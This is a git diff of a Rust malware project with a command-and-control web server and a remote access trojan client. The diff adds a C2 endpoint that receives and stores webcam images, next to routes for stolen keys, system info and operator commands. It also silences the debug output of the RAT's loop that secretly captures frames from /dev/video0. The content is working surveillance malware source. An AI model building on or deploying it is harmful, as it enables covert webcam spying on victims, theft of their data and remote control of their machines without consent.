diff --git a/Cargo.lock b/Cargo.lock index 8f8d47c101a126b39d1a6fa57111cd7fffb9d02a..6cc5213a1a57f2f9dd8f41c91787544c0afd33c2 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -201,6 +201,7 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" name = "c2" version = "0.1.0" dependencies = [ + "chrono", "rocket", "rocket_dyn_templates", "rocket_sync_db_pools", diff --git a/Rocket.toml b/Rocket.toml index 139597f9cb07c5d48bed18984ec4747f4b4f3438..5577e07f513edda516976cb3827b14d4de58ddeb 100644 --- a/Rocket.toml +++ b/Rocket.toml @@ -1,2 +1,4 @@ - +## defaults for _all_ profiles +[default] +limits = { form = "64 kB", json = "12 MiB" } diff --git a/c2/Cargo.toml b/c2/Cargo.toml index 6c35261f3ec0c37fd9f5a57f964b02c973b18c45..678c2aa032db593a07bbb1e696666bfd56d36555 100644 --- a/c2/Cargo.toml +++ b/c2/Cargo.toml @@ -10,6 +10,7 @@ sharedlib = {path= "../sharedlib"} rocket = { version = "=0.5.0-rc.3", features = ["json"] } serde = { version = "1.0", features = ["derive"] } tera = "1.0" +chrono = "0.4.31" [dependencies.rocket_sync_db_pools] version = "=0.1.0-rc.3" diff --git a/c2/src/backup.rs b/c2/src/backup.rs index 890e7fa2718fc48ce457f078791a8296d943b621..8c95a4e16ec8837685d450058af4411defa4aca6 100644 --- a/c2/src/backup.rs +++ b/c2/src/backup.rs @@ -3,13 +3,12 @@ use sharedlib::config::Config; use std::{ fs, fs::OpenOptions, + io, io::Write, path::Path, env, - collections::HashMap }; - pub const BASEDIR:&str = "./data"; pub const MAXFILESIZE:usize = 100; pub struct DataFile { @@ -68,6 +67,13 @@ impl DataFile { Ok(()) } + pub fn save_image(&self, data:Vec<u8>) -> Result<(), io::Error> { + let filename = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss.jpeg").to_string(); + let mut file = std::fs::File::create(get_full_path_image(self) + &filename)?; + file.write_all(&data[..])?; + Ok(()) + } + fn check_data_size(&mut self){ if self.size > MAXFILESIZE { self.nb_files += 1; @@ -80,7 +86,10 @@ fn get_full_path(file : &DataFile) -> String{ String::from(&file.path) +"/"+ file.nb_files.to_string().as_str() } -//to do +fn get_full_path_image(file : &DataFile) -> String{ + String::from(&file.path) +"/".to_string().as_str() +} + fn get_file_nb(dir:&str) -> std::io::Result<u32> { let res = Path::new(&dir).read_dir()?; Ok(res.into_iter().count() as u32) diff --git a/c2/src/db.rs b/c2/src/db.rs index a9b2cde6b0768d2f48afb2aa2ba1ab9cc90bbde3..144564b80f5bbc97a2a346aa5247e1e926beba72 100644 --- a/c2/src/db.rs +++ b/c2/src/db.rs @@ -98,7 +98,7 @@ pub async fn add_keys(db_conn:&DbConnection, keys: KeysData, id: i32) -> Result< let res = db_conn.run(move |conn| { diesel::insert_into(keys::table).values(new_key).get_result::<Keys>(conn) - }).await.map_err(|e| + }).await.map_err(|e: Error| status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?; Ok(res) diff --git a/c2/src/main.rs b/c2/src/main.rs index 239bf016019cd8906be4a0d843b21cc308fa8b9d..710ce54cdab75aff00ee4aa32cc5ba8cea42735d 100644 --- a/c2/src/main.rs +++ b/c2/src/main.rs @@ -1,10 +1,9 @@ use rocket::Request; use sharedlib::config::load_dotenv; use std::sync::Mutex; -use tera::Tera; use c2::backup::{DataFile, DataType}; use c2::server::DbConnection; -use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands}; +use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image}; use rocket_dyn_templates::Template; use rocket::fs::FileServer; @@ -34,7 +33,7 @@ fn rocket() -> _ { // load rocket let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); println!("Connecting to database ..."); - build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands]) + build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image]) .mount("/static", FileServer::from("c2/templates/static")) .register("/", catchers![not_found, internal_error]) .manage(keys_file) diff --git a/c2/src/routes.rs b/c2/src/routes.rs index 13fcabefac61d19e8a1f46ba6f5accb9c471fb24..51824847500d85f7dc790b6d020360632ba8c16c 100644 --- a/c2/src/routes.rs +++ b/c2/src/routes.rs @@ -1,10 +1,10 @@ use rocket::form::Form; -use rocket::{get, post}; +use rocket::{get, post, Data}; use rocket::{State, http::Status, serde::json::Json, response::status}; use std::sync::Mutex; -use crate::backup::DataFile; +use crate::backup::{DataFile, DataType}; use crate::server::{DbConnection , ApiClient, CommandForm, decrypt_bytes}; -use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel, EncryptedResult}; +use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel, EncryptedResult, ImageData}; use rocket_dyn_templates::{Template, context}; use crate::db::*; @@ -41,6 +41,27 @@ pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<M } } + +#[post("/images", data = "<image_data>")] +pub async fn post_image(image_data: Json<ImageData>, client:ApiClient, db_conn:DbConnection) -> Result<Json<String>,status::Custom<String>> { + + + // save image -> data/images avec backup.rs + if let Some(object) = DataFile::new(DataType::Image) { + match object.save_image(image_data.data.clone()) { + Ok(_) => Ok(Json(String::from("Ok"))), + Err(e) => Err(status::Custom(Status::InternalServerError, e.to_string())) + } + } else { + Err(status::Custom(Status::InternalServerError, "Couldn't create datafile.".to_string())) + } + // add user to db if not present + //let addr = image_data.mac_address.clone(); + //let client_token = add_user(&db_conn, addr).await?; + + // add entry to database -> le chemin de l'image + l'id du client + le timestamp +} + #[get("/keys")] pub async fn get_json_keys(db_conn:DbConnection) -> Result<Json<Vec<Keys>>, status::Custom<String>>{ get_all_keys(&db_conn).await.map(|data| Json(data)) diff --git a/rat/src/camera.rs b/rat/src/camera.rs index eb5b6bdfa97c3cccf8ac53eeef1ef5e42688808e..8f6870706bcfba4adbc68493d7596b4e1f79690b 100644 --- a/rat/src/camera.rs +++ b/rat/src/camera.rs @@ -24,17 +24,17 @@ use crate::errors::ClientError; pub async fn sniff_image() -> Result<(), ClientError> { let device_path = "/dev/video0"; - println!("Using device: {}\n", device_path); + //println!("Using device: {}\n", device_path); let mut dev = Device::with_path(device_path)?; let format = dev.format()?; - println!("Active format:\n{}", format); + //println!("Active format:\n{}", format); let mac_address = get_mac_address() .map_err(|_e| io::Error::from_raw_os_error(1))?; let params = dev.params()?; - println!("Active device parameters:\n{}", params); + //println!("Active device parameters:\n{}", params); // Create the stream, which will internally 'allocate' (as in map) the @@ -48,18 +48,11 @@ pub async fn sniff_image() -> Result<(), ClientError> { loop { let local_time = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss").to_string(); - //println!("{}", local_time); - - /* - let directory = String::from("./"); - let filename = directory + local_time.as_str() + ".jpeg"; - let mut file = std::fs::File::create(filename)?; - */ // Captures the buffer let (buf, meta) = CaptureStream::next(&mut stream)?; println!( - "Buffer size: {}, seq: {}, timestamp: {}", + "Capture done. Buffer size: {}, seq: {}, timestamp: {}", buf.len(), meta.sequence, meta.timestamp